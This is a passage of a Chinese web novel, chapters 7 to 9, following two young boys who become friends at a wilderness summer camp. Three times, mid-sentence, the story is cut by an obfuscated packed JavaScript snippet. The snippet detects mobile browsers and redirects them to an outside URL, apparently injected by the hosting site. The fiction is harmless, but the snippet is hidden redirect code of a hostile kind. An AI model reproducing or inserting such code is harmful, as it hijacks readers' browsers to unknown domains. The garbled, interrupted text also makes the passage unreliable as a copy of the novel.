他突然有些着急,捧起果汁咕噜噜地给自己灌了一大口,腮帮子都快鼓满了。 “喝不完就放着吧,又没关系。” 席追招呼着游戏室内的朋友们出房间,还不忘催促闻潮声,“走了,一起下楼。” 爷爷要切寿宴蛋糕了,他们做小孩子的,不能让大人们等着,会没有礼貌。 “哦。” 闻潮声将杯子轻轻放回桌上,看着还剩了一半的果汁,很抱歉地叹了口气。 “对不起芒果汁,我实在喝不完。” 真诚地和果汁道完歉后,闻潮声还不忘把绘本放回到书架上,临走前,他瞥见了比进门之前更凌乱的书桌。 “……” 小小的身体,大大的强迫症。 闻潮声原地纠结了两秒,不得不重新爬回到了椅子上,挨个将赛车积木收到了统一的积木筐里。 等收拾完了,他才着急忙慌地往外跑。 ——砰! 刚出门拐角就撞到了一个人。 闻潮声闷哼捂住额头,抬眼才发现是席追。 席追揉了揉自己的胳膊,蹙眉,“闻潮声,你是小乌龟吗?怎么慢吞吞的。” 他本来都已经到一楼了,发现闻潮声居然没跟上,这才折返回来找人,没想到,对方这会儿才从房间里走出来。 席追更正,“不对,你比小乌龟还慢。” 有这点时间,乌龟都可以爬到楼梯口了。 “……” 为什么要说他是小乌龟! 他明明是帮忙收拾桌上的积木才变慢的! 闻潮声郁闷地攥起自己的小拳头,倒也不敢揍人。 “我——” 他深吸一口气,对着比自己高出半个头的席追,做出了自认为很有勇气、很有力量的反驳,“我才不是小、乌、龟!” “……” 行呗。 不是就不是。 为什么还要对着他撒娇啊? 席追不太明白地看着突然卖萌的闻潮声,语气还是放缓了些,“走了,快下楼,吃蛋糕。” 闻潮声天真地以为自己的反驳起到了作用,很高兴,“嗯!” 为了再次证明自己不是慢吞吞的小乌龟,他这会儿特意走得很快,赶在席追之前下了楼。 7.【第007章·旧时光】 帝京,玉都山集合营。 闻潮声抱紧自己的小书包,一声不吭地缩在木式长椅上。 上周在席老先生的寿宴上,宋雪兰从闺蜜沈若的口中得知了这家野外夏令营。 据说这家夏令营专门针对培养小朋友们的自理能力、生活技能,全程会有多位老师陪同、安全员护航,还有儿童行为分析师在旁观察、给出后续的教育建议。 闻潮声正是需要培养锻炼的时候,于是闻春申夫妇一合计就给他报了名。 周围有不少同龄的小朋友正在热闹聊天,闻潮声因为怕生,显得格格不入。 他眼巴巴地望着集合营的大木门,设想着自己偷偷跑回家的可能。 很显然,一点儿机会都没有。 “唉。” 闻潮声无措叹气。 他打开自己的书包,把小脑袋埋了进去,企图逃避这一糟糕情况。 也不知过了多久,有人拍了拍他的肩膀,“喂,你是闻潮声吗?” 脆生生的声线,听着有些耳熟。 “……” 闻潮声从书包里探出头,对上一张阳光灿烂的笑脸。 “哇塞,真是你啊!”对方比他更快作出反应,对着正前方大声嚷嚷,“席追,他在这里呢!” 闻潮声慢半拍地抬眼,对上了迎面走来的两道身影—— 是席追。 还有之前在席追房间见过的另外一个男孩子。 闻潮声惊讶的目光在三个人的脸上转悠了一圈,慢慢对上号,上回寿宴结束后,他听沈若阿姨和妈妈提起过—— 那个粉色背心的小孩叫夏逢一。 另外一个叫沈照野,还是席追的表哥,爸爸是德国人。 三个人是同班同学,关系很好,父母之间彼此认识,经常会送他们一块参加活动,这次夏令营也不例外。 “闻潮声,你干嘛要把头钻进书包里?真有意思。” 夏逢一是个小碎嘴,叭叭开口,“怪不得我们刚才找了一圈都没看到!” 席追精准评价,“乌龟都这样的。” 闻潮声脸颊发烫,“我、我找东西呢。” 他不擅长撒谎,这声狡辩说得结结巴巴,不过,总算遇到了还算认识的同龄人,他慌张的心稍微平复了一些。 席追没有拆穿他。 夏逢一是个自来熟,他主动坐在闻潮声的身边,“你就一个人来啊?” 闻潮声点了点头。 “哦,我和他们都是第二次参加了,我告诉你,这夏令营可好玩了!” 夏逢一坚决不让场子冷下来,主动分享,“老师还会带我们捞溪鱼、摘果子、采蘑菇,还有很多野生小动物……” 闻潮声盯着夏逢一咕嘟不停的嘴巴,眼里充斥着大大的震惊。 他从来就没见过这么爱说话的同龄人,语速还快,像机关枪嘟嘟嘟往外冒。 席追看出了闻潮声的匪夷所思,嘴角翘了一秒。 一个哑巴,一个话唠,这下子都撞在一块了。 “好了,小朋友们安静一下,围过来听老师说——” 直到夏令营老师拿起了扩音器,才制止了夏逢一的喋喋不休。 闻潮声向来是很听话的好学生,第一时间就站了起来。 老师清点了一下学生人数,下达了一个任务,“现在,请大家主动寻找你的小伙伴,两个人或者三个人,组成一队。” “接下来的六天时间,你们将和彼此的小伙伴一起参加白天的各种活动、学习,晚上还会一起在帐篷里睡觉。” 随着老师交代的组队任务,人群已经开始骚动了起来。 闻潮声默默站在后排,神色露出为难—— 怎么办啊? 他和其他小朋友都不认识。 边上的夏逢一早就有经验了,脱口而出,“小追,阿野,我们三个还在一队!和去年一样!” 沈照野没什么意见,话也不多,“好。” “……” 席追早已经从沈若的口中得知了闻潮声会参加这次夏令营,不仅如此,对方还特意交代他—— 闻潮声性子内向怕生,他在夏令营里要多照顾这位“哥哥”。 因此,从老师宣布组队开始,席追就暗中观察着闻潮声的反应。 才一小会儿的工夫,对方的手已经几乎要将书包带子攥断了,一双乌黑的眼睛无助扑闪着,耳朵也红透了。 只是组个队而已,用得着这么害羞吗? 席追不了解闻潮声的纠结,见他都快急哭了才说,“逢一,这次你和照野组队。” 说着,他就指了指边上的闻潮声,“我和他一块。” 被选中的闻潮声很意外,“啊?” 席追很酷地收回手,插兜,“你还不乐意啊?” “没有没有!” 闻潮声的脑袋都快摇成拨浪鼓了,他生怕席追下一秒就反悔了,连忙靠近应下,“谢谢席追!” 席追瞥见他头顶的小呆毛,“嗯,不客气。” … 每期夏令营的名额都是经过筛选的。 这次一共就十四位小朋友,三三两两的组队后,最终组了六只小队伍。 第一天只是单纯用来给小朋友们集合、适应的,营里没有安排进山活动,每队由一位老师带领着搭建今晚入夜的帐篷。 席追之前就有过不少次的野营经验,一脸淡定地站在边上,反倒是闻潮声觉得新奇,全程仰着脖子认真听讲解,小脑袋还时不时地跟着点动。 席追看着身边人的反应,觉得比搭帐篷有趣。 帐篷搭建完毕,闻潮声一脸期待,“席追,我们晚上要睡在这里吗?” 席追觉得他问了一个傻问题,“你也可以睡树上,当野人。” “……” 闻潮声嘟囔,“我才不要。” 万一摔下来了怎么办?肯定很疼的。 席追看着他,煞有其事,“好吧,乌龟确实不会爬树。” “……” 都说了不是小乌龟! 闻潮声很郁闷,但不敢反驳席追,生怕对方又丢下他不组队了。 于是,他发出超级小的一声“哼”用来表达自己的抗议,然后顶着一头小卷毛挪回老师的身边,不理席追了! … 晚餐是夏令营统一安排的营养餐,期间还放了一部关于丛林探险的益智片。 闻潮声坐在小角落,仰头看得津津有味,用餐结束后,大家又在老师们的安排下分批洗澡。 换上营里发放的统一睡衣,闻潮声一路小跑回了自己要住的帐篷。 他拉开帘子,发现里面已经大变样了,营地的老师给他们铺上了厚厚的一层地毯,外加两床卡通被子,上面还挂上明亮的星星灯。 席追坐在帐篷里面,手里正玩着魔方,他的手速很快,几乎不用过多思考就复原了所有的颜色。 他抬头,“你洗完了?” 闻潮声觉得席追很厉害,浅浅地吸了一口气,“嗯。” 席追打开自己的书包,将魔方装了回去,又拿出两样东西,“喏,拿着。” 闻潮声瞪大了眼睛,接过。 居然是他上次来不及看完的故事绘本! 底下还有一册全新的绘本,也是他没看过的! 闻潮声闻潮声捧着两本沉甸甸的故事书,被这突如其来的惊喜冲昏了头脑,“给、给我的?” “要不然呢?就你爱看。” 席追合上书包拉链,假装淡定地解释,“上次是你帮我收拾了桌上的赛车积木,对吧?送你了。” 他也是宴会结束后才发现了自己干干净净的书桌,可惜那会儿闻潮声已经离开了。 或许是家庭氛围所致,闻潮声从小就喜欢看各种各样的故事,这礼物简直送到了他的心尖上。 闻潮声才洗过热水澡的脸蛋越发红扑扑,“谢谢席追,我很喜欢!” 不仅不会揍他,还会和他组队、给他送礼物! 他单方面决定,不计较席追总是喊他“小乌龟”这件事了! 席追对上闻潮声亮晶晶的眼睛,突然有些不好意思,“我去找逢一他们玩了,你去吗?” “我不去。” 闻潮声摇了摇头,心思已经完全搁在绘本上了。 等席追离开后,他忙不迭地翻到上次没看完的那一页。 … 营地里的熄灯入睡音乐响起,席追才从隔壁回到了帐篷里面。 闻潮声还在低着脑袋看书,也不嫌累。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471134|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席追钻进左边的被窝里,提醒,“闻潮声,该关灯睡觉了。” 闻潮声还舍不得放下书,对着他超小声地请求,“我再看一会儿,就一小会儿。” “……” 怎么又撒娇啊? 席追没再阻止,侧身背对着他,“明天睡过头我可不叫你。” 闻潮声才想起自己在夏令营,不能在家一样任性睡懒觉,只好放下绘本,关掉了边上的星星灯。 没多久,外面传来巡营老师的关灯提示。 ——砰! 帐外的光大源关闭,夜色骤然袭来。 闻潮声在被子里将自己咕噜成了一团,闭上眼睛,酝酿睡意。 夜色渐深。 帐篷里偶尔能听见营地附近的虫鸣。 闻潮声在家里睡觉就很乖,基本维持着一个姿势,反倒是席追,今晚翻来覆去地睡不着觉。 过了很久,闻潮声没忍住开了口,“席追,你怎么还不睡?是想家了吗?” “……没有。” 不是想家,是想家里的天鹅绒小方毯。 席追从小就习惯抱着那条毯子睡觉,几乎到了去哪里都离不开的程度,这次不知道是哪个环节出了错,他随行的行李箱居然遗漏了那条小毯子。 没了自己的“阿贝贝”,席追陷入了睡不着的烦恼。 他越想越觉得郁闷,忍不住发了一点儿少爷脾气,使劲踹掉了身上的被子,“你睡你的,别管我。” 闻潮声瞧见他在黑暗中的动作,“你这样会感冒的。” “不会。” “会的。” 闻潮声坚持,并且认定席追是想家了。 他想起自己还比席追大点,是哥哥,于是侧身哄他,“席追,我给你讲睡前故事好不好?我睡不着的时候,妈妈都会给我讲故事。” 席追扭头看他,“你不睡觉吗?我不翻身了,不会吵你的。” 闻潮声瞧见被席追踹到帐篷尾的被子,主动将自己的被子匀出来了一点儿,轻轻盖在了对方的肚子上,认真科普,“睡觉一定得盖着肚子。” “我……” 席追鼻子闻到了一股甜甜软软的香味,拒绝的话卡在了喉咙中。 闻潮声问,“你想要听什么故事?” 席追低头深吸一口气,还挺喜欢这被子上的味道,“随便。” 闻潮声想了想,“从前山顶上有一颗聪明豆,很多小动物都想要得到他,但这座山实在是太高了,大家都不敢尝试……” “直到有一天,小松鼠、小猴子和小白兔决定一起爬山去找聪明豆……” “它们爬呀爬呀……” 席追对这些睡前故事根本不感兴趣,但闻潮声嗓音软软的,还真有些催眠。 席追尝试着闭上眼,软乎乎的被子里夹带着很好闻的香气,比家里的小毯子更让他觉得舒服。 渐渐地,困意浮动。 席追将睡未睡,下意识地问,“闻潮声,你睡觉前喝牛奶了吗?” 闻潮声故事还没讲完呢,就被突如其来的问题给怔住了,“啊?” 席追含糊着说,“那怎么香香的?” “没有。”闻潮声低头闻了闻自己,才说,“是宝宝霜的味道。” 不是牛奶,是椰奶味的。 宋雪兰叮嘱他每天晚上都要擦脸、擦手、擦脖子,让他做精致宝宝呢! “……” 哦。 席追连回答都没声了。 睡意朦胧间,他还以为自己这会儿是在家里,伸手就抱住了自己的“小毯子”,脑袋一歪,贴了上去。 闻潮声看着突然抱着自己的席追,发懵地眨了眨眼睛。 他不太习惯被别人这么抱着,红着脸伸手推了推,发出虚虚的两声气音,“喂,席追,席追,你睡着了吗?” 席追蹙起眉头,反而抱得更紧了,“别吵,困。” “……” 好吧。 看在故事书的份上,就不吵了吧。 闻潮声不再动弹,乖乖让睡梦中的席追当成抱枕。 他学着宋雪兰在家哄睡前的最后一步,拍了拍胸前紧贴着的小脑袋,“晚安喔。” 妈妈说了,好好睡觉,才能长大。 8.【第008章·旧时光】 席追这一觉睡得很安稳,梦里萦绕着香香甜甜的气息,枕抱着的触感比家里的那条方毯还要细腻温软。 林间又一阵虫鸣鸟叫。 席追自然睡醒,迷迷糊糊地抬了手,忽然间,掌心触及一团软软的卷毛。 “……” 席追的脑海里冒出一个问号,微微抬头就看见了闻潮声那张近在咫尺的小脸蛋,昨晚入睡前的画面霎时浮动: 他睡不着觉、踹了被子,闻潮声怕他着凉,主动给他盖好被子,还给他讲了睡前故事。 在醒来前,他一直贴在对方的怀里睡觉? 席追很少和同龄人这么亲近,连忙往边上的床铺上挪了挪,又忍不住偷偷打量着闻潮声—— 对方这会儿还睡得很香,白净细腻的脸颊透着粉扑扑的热意,合下的睫毛又翘又长,看上去特别乖。 帐篷外响起了晨间唤醒的轻音乐。 席追已经睡得很饱了,第一时间爬坐起来,拿起夏令营里统一的迷彩服换上。 没多久,外面就陆陆续续响起了吵闹声。 “呜嗯。” 闻潮声是个喜欢赖床睡觉的人。 怀中那“沉甸甸”了一晚的阻力消失,睡梦中的他立刻将小脑袋更深地钻进被窝,试图躲避外面的那些嘈杂声。 席追盯着他露在外面的额头和小卷毛,那个念头又蹦了出来:没事就喜欢藏起来,这不就是小乌龟? 席追没急着外出洗漱,直到外面传来老师们的叫早声,他才凑近拍了拍那咕噜成一团的被窝,“闻潮声,要起床了。” 闻潮声隔着被子哼唧,“我不嘛……” “不要撒娇。”席追拿他没办法,“再不起床,老师就要来喊你了。” “老师”二字触动了闻潮声作为“乖宝宝”的神经,他猛地睁开大眼睛,一骨碌地从被窝里爬坐了起来。 “啊!” “……” 席追嘴角翘了翘,没说话。 他觉得闻潮声虽然看上去呆呆的,但真的很可爱。 闻潮声愣了好几秒,揉了揉眼睛,“席追,你怎么坐在那里?” 他们昨晚明明就是一起睡觉的。 席追当然不会承认自己把闻潮声当成阿贝贝了,睁眼说瞎话,“我昨晚后面就回自己床位上睡觉了,是你睡得太沉没发现。” “哦。” 闻潮声顶着一头睡得乱糟糟的小卷毛,单纯得没怀疑。 席追先行一步钻出帐篷,“你快起床吧,我去刷牙洗脸了。” 闻潮声连连点头,强忍着那点还没消退的困意爬了起来。 他换好了夏令营统一的迷彩服,主动将两床被子都叠得整齐,这才拿着自己的牙刷和毛巾跑了出去。 … 夏令营正式开始的第一天,上午是关于各类野外知识的讲解,午饭后,带队老师就宣布了第一次的野外活动。 “大家来老师这里领取捞网和水桶,待会儿将以小队伍的形式进行溪流捕鱼,今天最终收获最多的小组,将得到大红花积分和今日份的小礼物。” 夏令营内所有的活动都是经过通知和报备,还有由专门的安全员协助保护,活动的具体位置在半山腰的溪流段,积水潭面最深处不到半米。 很快地,队伍就抵达了活动所在地,很多同龄的小朋友都已经跃跃欲试了。 闻潮声站在队伍的后面,提着自己的小水桶,忧心仲仲地看了一眼不远处的小溪水面。 夏逢一原本还在和沈照野手足舞蹈地聊天,扭头瞧见闻潮声紧绷的小脸,立刻蹿到他的身边,“潮声,你怎么啦?不开心还是不舒服啊?” 闻潮声摇了摇头,“没有。” “我和你说,捕鱼可好玩啦!”夏逢一为了证明自己所言不假,特意对着席追喊话,“是吧!席追?” 席追早就注意到了情绪不高的闻潮声,“嗯,还行。” 闻潮声抿了抿唇,诚实地说,“……我不会游泳,怕水。” 他更小一点儿的时候报过游泳班,一来确实没有这方面的天赋,二来因为当时游泳教练的失责、导致他狠狠呛过水。 这不,游泳没学会,倒是留下了不小的心理阴影。 闻潮声特别怕下水。 只要水量足够没过膝盖,他就会特别没有安全感。 “啊?”夏逢一了解到闻潮声的害怕,看向和他一队的席追,“那咋办啊?” 闻潮声也看了过去。 他一路上都害怕自己给席追拖后腿,毕竟对方好像玩什么都很厉害。 只是还没等席追说话,闻潮声的后背被人狠狠一撞,紧接着,一道很嚣张的声音就在他的边上响了起来: “切,胆小鬼,别挡我路!” “唔!” 闻潮声被撞得一踉跄,差点栽在地上,还是席追眼疾手快拉住他。 夏逢一看向罪魁祸首,“郑嘉星,你做什么!” “我没做什么啊!是你们一动不动堵着路了!” 郑嘉星仗着自己的体型优势,一脸天地不怕地不怕,还冲着闻潮声摆个鬼脸。 他拿着渔网招呼自己同队的小伙伴下水,还故意嚷嚷,“怎么有人连这点水都害怕?也太没用了!” “……” 闻潮声知道这话是故意说给自己的,尴尬又窘迫。 夏逢一替闻潮声抱不平,急得将水桶往地上一丢,“他怎么这样欠揍啊!撞了潮声还不道歉!” 沈照野拦住他,“你想打架啊?老师在呢。” 闻潮声一听“打架”两字,紧张地跟着劝,“别、别打架!” 郑嘉星很壮实,看上去比席追还要高点,脾气又不太好的样子,揍起人来肯定很疼! “……” 席追盯着郑嘉星的背影,还没完全长开的眉眼里透出一丝厌恶。 下一秒,他主动上前拿走了闻潮声的渔网,“你在溪边找个不害怕的地方等我,我抓到小鱼了就来找你。” 闻潮声不确定地问,“这样可以吗?” “有什么不可以?害怕就不要勉强。”席追迎上他的目光,难得多说了两句,“走吧,待会儿老师来问,你就说我们是分工合作。” 他们又不是大人,安全最重要。 闻潮声觉得席追讲得很有道理,内心深处的担忧消散了大半,他抓住自己的水桶跟了上去,嗓音里透着一丝少有的、明显的欢快,“谢谢席追!” … 正值盛夏,溯溪捞鱼,正好可以避一避暑气。 闻潮声找了一片安全地段,溪水只浅浅没过他的脚踝,头顶上还有一片树荫遮盖。 他的目光追随着不远处的席追,看着对方熟悉地利用渔网进行一次又一次地打捞。 一段时间后,席追提着水桶走了回来,“给。” 闻潮声探着脑袋去看,桶里面已经有了七八条的溪鱼,小小的,但在阳光的照射下,鱼鳞呈现出了不同的光泽。 “哇,好漂亮。” 闻潮声发出一声小小的惊呼,特别崇拜地夸奖,“席追,你好厉害啊。” 席追对上他亮晶晶的眼眸,装得很酷,“哦,这有什么难的?随便捞捞就有了。” 闻潮声又说,“那超厉害!” 席追没忍住,嘴角的得意转瞬即逝,“你看好这桶小鱼,我去上游再看看,说不定有大鱼。” 闻潮声点头,“好的!” 他盯着席追的背影,突然有点想要跟上去尝试,只可惜,对方实在走得太快了。 闻潮声还是不敢一个人“涉险”,他只好将水桶搁在相对平稳的大块鹅卵石上,然后以自己为中心点,开始左右张望。 果不其然,他发现了一条躲在石头间隙里的溪鱼,居然有半个手掌那么大! 闻潮声一喜,他连忙拿起自己的渔网,小心翼翼地往前挪了两步,没等动手—— 眨眼睛,另外一根渔网抢先挥了下去,“害!” 这一下闹出的动静很大,那条溪鱼立刻从间隙游蹿得没影子了。 闻潮声眼睁睁地看着这一幕,有些失望地看向了另外一根渔网的主人。 “看什么看!” 郑嘉星对上他的目光,仰着脖子倒打一耙,“这是我先找到的鱼,都怪你,离那么近做什么,还把它吓跑了!” “……” 闻潮声无语了。 但他不喜欢这人,也不打算多说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479524|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,转身回到自己的水桶边上。 郑嘉星在家就是个小霸王,也想在夏令营里当老大,他见闻潮声不理人,故意凑了上去嘲笑他,“略略略,你不是害怕吗?能捞到鱼吗?” 话音刚落,他就看见了水桶里七八条的小溪鱼,傻了眼。 老师说了,活动最后数量最多的小队能拿奖励。 郑嘉星本来以为自己和小伙伴一下子捞到了六条,已经够多了,没想到闻潮声他们更多! “……” 不行! 他必须要是最多的! 眼见着自己队伍的小鱼数量落在下方,郑嘉星顿时动了歪脑筋,他使坏冲了出去,假装不小心踢到了水桶。 ——砰! 水桶歪倒在溪流里。 闻潮声急得声音都变响了,“你干嘛啊!” 他第一时间提起了水桶,但为时已晚,里面的小鱼趁机溜出去了好几条。 “你自己乱放水桶,又没看好它,关我什么事!”郑嘉星根本不承认,撒腿就往别处跑。 “你……” 怎么这样啊? 闻潮声望着里面仅剩的两条小鱼,一想到席追回来后可能会怪他没看好水桶,就无措得想要掉眼泪。 但事情已经发生了,只能想办法补救。 闻潮声吸了吸鼻子,一手攥紧水桶,一手拿着捞网,小心翼翼地往边上水域走了两步。 … 席追带着水桶回来时,发现闻潮声居然也在低头捞鱼,只是位置没怎么大变动,依然待在水位最浅的溪边。 席追蹚水走近,“闻潮声。” 闻潮声抬头,顿时局促地将水桶往身后藏了藏,“席追。” 席追注意到他鼻尖上冒出的汗,“你怎么了?我又捞到了两条大一点的,你把水桶给我,我装进去。” “……” 闻潮声慢吞吞地将水桶递了过去,将酝酿好的道歉说出,“对不起,我刚刚没看好水桶,它被人踢倒了一下,里面好多小鱼都跑走了。” 他尝试过努力去补救,但找了半天也捞不到一条漂亮小鱼,他太笨了。 席追看了一眼水桶里剩下的鱼,很淡定,“哦。” 闻潮声观察着他的脸色,“你不生气吗?” 席追将自己新捞到的鱼倒了进去,“有什么值得生气的?再捞就是了,反正这些鱼最后都要放回到小溪里。” 闻潮声又问,“可老师说今天捞得最多的小队有奖品,你不想要吗?” “不想啊。” 席追家里多的是玩具,反问他,“你想要啊?” 闻潮声的脑袋摇成了拨浪鼓。 他只是觉得自己没有保护好队伍里的小鱼,很难过。 “……” 席追这才发觉到闻潮声在自责,拧了拧眉心。 他沉默了一会儿,才问,“上面有个地方有好多小鱼,逢一他们都在,水也不深,你要不要去?” 闻潮声垂眸望着水桶里的小鱼,觉得自己必须要弥补这一失责,何况,这里的溪水好像没有他想象中得可怕。 席追重复问了一次,“要去吗?” 闻潮声鼓足勇气点头,“嗯。” 下一秒,他手里有些重量的水桶就被席追接了过去,“给我。” 闻潮声的右手掌心一空,变得轻飘飘的,还有些不适应。 席追单手拢住自己的捞网和水桶,特意腾出一只手牵住了闻潮声,“我带着你走,不用怕。” “……” 闻潮声看着自己被牵紧的右手,陡然生出一种安全感。 他小幅度地晃了晃两人相握的手,突然有点说不清、道不明的开心,“席追。” 席追扭头看他,“干嘛?别磨蹭。” 闻潮声乖乖跟着他走,好奇问,“真的有很多鱼吗?我怎么都捞不到?” 席追看了闻潮声一眼,牵着他的手却没松开,“石头底下很多,我待会儿教你。” “嗯嗯!” 席追怎么会这么好呀! 闻潮声忍不住低头偷笑,又晃了晃两人相牵的手,在心里大声宣布—— 从现在起,席追就是他全世界最好的朋友! 9.【第009章·旧时光】 傍晚,夏令营营地。 闻潮声站在厕所外的洗手池前,认真洗手。 下午的捞鱼活动已经结束了,虽然他和席追的小队没能以数量取胜,但他还是靠自己捞了几条漂亮的小鱼。 对闻潮声来说,体验的过程远比结果更重要。 想到这儿,他偷偷露出一点笑容,结果转身就对上了郑嘉星的身影。 此刻,对方的眉头像毛毛虫一样蜷皱着,嘴巴都快噘到天上去了,整张臭脸明晃晃地写着“我不高兴”。 不为别的,就因为他没有如愿得到第一名,反倒是被夏逢一和沈照野的小队拿到了奖品! 郑嘉星正有气没地方撒,蛮不讲理地对准落单的闻潮声,“闻潮声,你是不是在笑话我!我告诉你,你再笑我就揍你了!” 说着,他还做势扬起拳头、往前冲了两步。 “……” 闻潮声一瞬间想起了曾经在幼儿园被欺负的经历,吓得脸都白了,“我、我没有!” 他慌慌张张地绕开个头高大的郑嘉星,闷头就往小食堂的方向跑。 食堂的晚餐是统一打好并且发放的。 角落的四人餐桌上,夏逢一正在叭叭地和两位好友说个不停,席追没心思去听,视线时不时地瞥向小食堂的门口,直到看见那道熟悉的身影跑了进来—— 闻潮声一时没找到他们,只能迷茫地站在原地搜寻。 席追看见了,但没说话,落在桌下的脚轻踹了一下对面的夏逢一。 “你踢我干嘛?” 夏逢一不满控诉,下意识地顺着席追的视线看去,招手就喊,“潮声!我们在这里!” 闻潮声总算注意到了角落里的三人,连忙靠近。 等到在席追的身边坐下,他才像找到了自己的依仗,那颗害怕的心才稍稍稳了下来。 夏逢一随口问,“潮声,你上个洗手间怎么这么久啊?” 闻潮声欲言又止,回过神来后有些委屈,“我……” 席追发现到了他的不对劲,“你怎么了?” 闻潮声将郑嘉星的所作所为告诉了桌上的三人,心有余悸,“他、他会不会真的揍我啊?” “他敢?他以为他是谁啊!”夏逢一像个小弹簧,瞬间蹦跶起来,“你别害怕,我现在就替你先揍他两拳!” 下一秒,沈照野就将他按了下去,“坐好,夏令营里那么多老师在,打架是会被喊家长的。” “……” 听见“喊家长”三个字,夏逢一的气焰顿时熄灭。 他爸爸是优秀的脑科医生,他妈妈更是伟大的人民警察,家教算得上严格。 夏逢一看向席追,噼里啪啦地分析,“那个郑嘉星肯定是觉得潮声好欺负!他都不敢在我们面前挥拳头!” 席追没说话,瞥了一眼不远处的郑嘉星: 夏令营这才第二天,打架是还早了点。 沈照野不像夏逢一那样激动,拿事实说话,“不用怕,你接下来都和我们待在一起,而且夏令营里还有这么多老师在呢。” “对!没错!我保护你!” 夏逢一很贴心地补充,“潮声,我们上厕所也一起!拉臭臭也一起!” 闻潮声愣住了,发出很为难的一声,“啊?” 也、也不用吧? 席追回过视线,嫌弃,“你好恶心。” 夏逢一觉得很冤枉,像个小警察那样义正言辞,“我这是在保护我们的朋友!我妈妈说这叫讲义气!你懂不懂!” 闻潮声有点感动,沈照野习以为常。 席追敷衍回应,“哇,那你好伟大。” “……” 夏逢一听出好朋友的调侃,忿忿地夹了一块肉使劲嚼。 席追不理他,而是催促边上的闻潮声,“你别磨蹭了,快吃饭。” 闻潮声内心深处藏着点失落,“哦。” 其实,他很希望听到席追能说几句安慰他的话,毕竟他把席追当成了最好的朋友。 可惜直到晚餐结束,对方都没再提起这事。 … 又到了统一的晚安时间。 营地中的照明大灯准时熄灭,黑暗携着梦乡悄然笼罩。 闻潮声睡不着,一闭眼就浮现出郑嘉星要打他的模样,吓人得很! 他索性睁开眼睛,在昏暗中低声问,“席追?席追?你睡着了吗?” 席追依旧盖着这床陌生的被子,没有困意,他侧身看向闻潮声,“没有,你要干嘛?” 闻潮声支支吾吾,不好意思说自己是害怕得睡不着觉。 “……” 两人的床铺隔了点距离,被子又捂得严实,席追没能闻到和昨晚一样的浅淡甜香。 他问,“闻潮声,你今晚是不是忘记涂宝宝霜了?” 闻潮声立刻搭话,“我涂了的,我妈妈让我每天都涂。” “是吗?”席追明知故问,“一点儿味道都没有,你肯定没有好好涂,我回去就告诉宋阿姨。” “……” 怎么这样啊! 他明明有好好涂! 闻潮声没发现席追是在没事找事,主动往对方的床铺挪了挪,甚至还掀开了被子的一角。 他认真问,“现在有闻到了吗?我真的涂了。” 席追带着自己的小小心思,假装配合凑近,“嗯,现在有点了。” 闻潮声得到这声认同,刚准备挪回自己的床铺,就发现自己的被子边缘居然被席追压住了一大半。 他轻扯了两下,没扯动,“席追?席……” “别叫了。”席追如愿找到了替代版的“阿贝贝”,假装闭上眼睛,“睡觉吧。” 闻潮声还是有点害怕,没话找话,“席追,我再给你讲个睡前故事吧。” “不用。” “你昨晚就是听我的故事睡着的。” 席追心口不一,“你讲的故事太无聊了,我都没认真听。” 闻潮声嘟囔,“才不无聊,得到聪明豆就会变聪明!” 那是他最喜欢的一个睡前故事!可有意思了! 席追还是闭着眼,“笨蛋才需要聪明豆。” “……” 好叭。 闻潮声这下真的没话说了。 帐篷里安静了几秒,就在闻潮声以为席追要睡着的时候,对方突然喊了他的名字,“闻潮声。” “嗯?” “你不用怕郑嘉星揍你。”席追睁眼和他对上目光,“我们是朋友,我会保护你的。” 闻潮声反应过来,感动得眼睛都有些发酸,他正愁该说些什么表达自己内心的感谢,结果下一秒—— 席追忽然伸手,隔着被子圈住了他,像是把他当成了大型的抱枕,“快睡觉。” 闻潮声还沉浸在感动中,完全没抗拒,反倒主动和席追贴了贴。 “晚安?席追。” “嗯,晚安。” … 有了“朋友们”的保护,接下来的五天时间,郑嘉星果然没有再来找麻烦。 转眼就到了结课日,带队老师布置了最后一个自由任务—— 在今天夏令营正式结束前,大家可以自愿前往心理老师的帐篷,与她分享夏令营生活中的趣味瞬间。 故事讲述最生动的小朋友将有机会获得一套正版赛车模型或一套正版芭比娃娃,其余参与的小朋友也能获得小小的结业礼物。 这其实是夏令营综合测试的一环。 夏逢一看见赛车模型,激动地说,“席追!是赛车!” 席追点头,“我知道,但我不去。” 他最烦这种别别扭扭的环节了,很无聊,没意思。 夏逢一劝他,“干嘛不去!万一老师觉得你讲得好,就把赛车送给你了呢!你不是很喜欢塞车吗?” 席追拒绝,“不要,要去你去。” 就在这时,边上的闻潮声乖乖举手,申请讲话,“我、我想去试试。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484077|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 席追看了过来,有些意外,“你要去?” 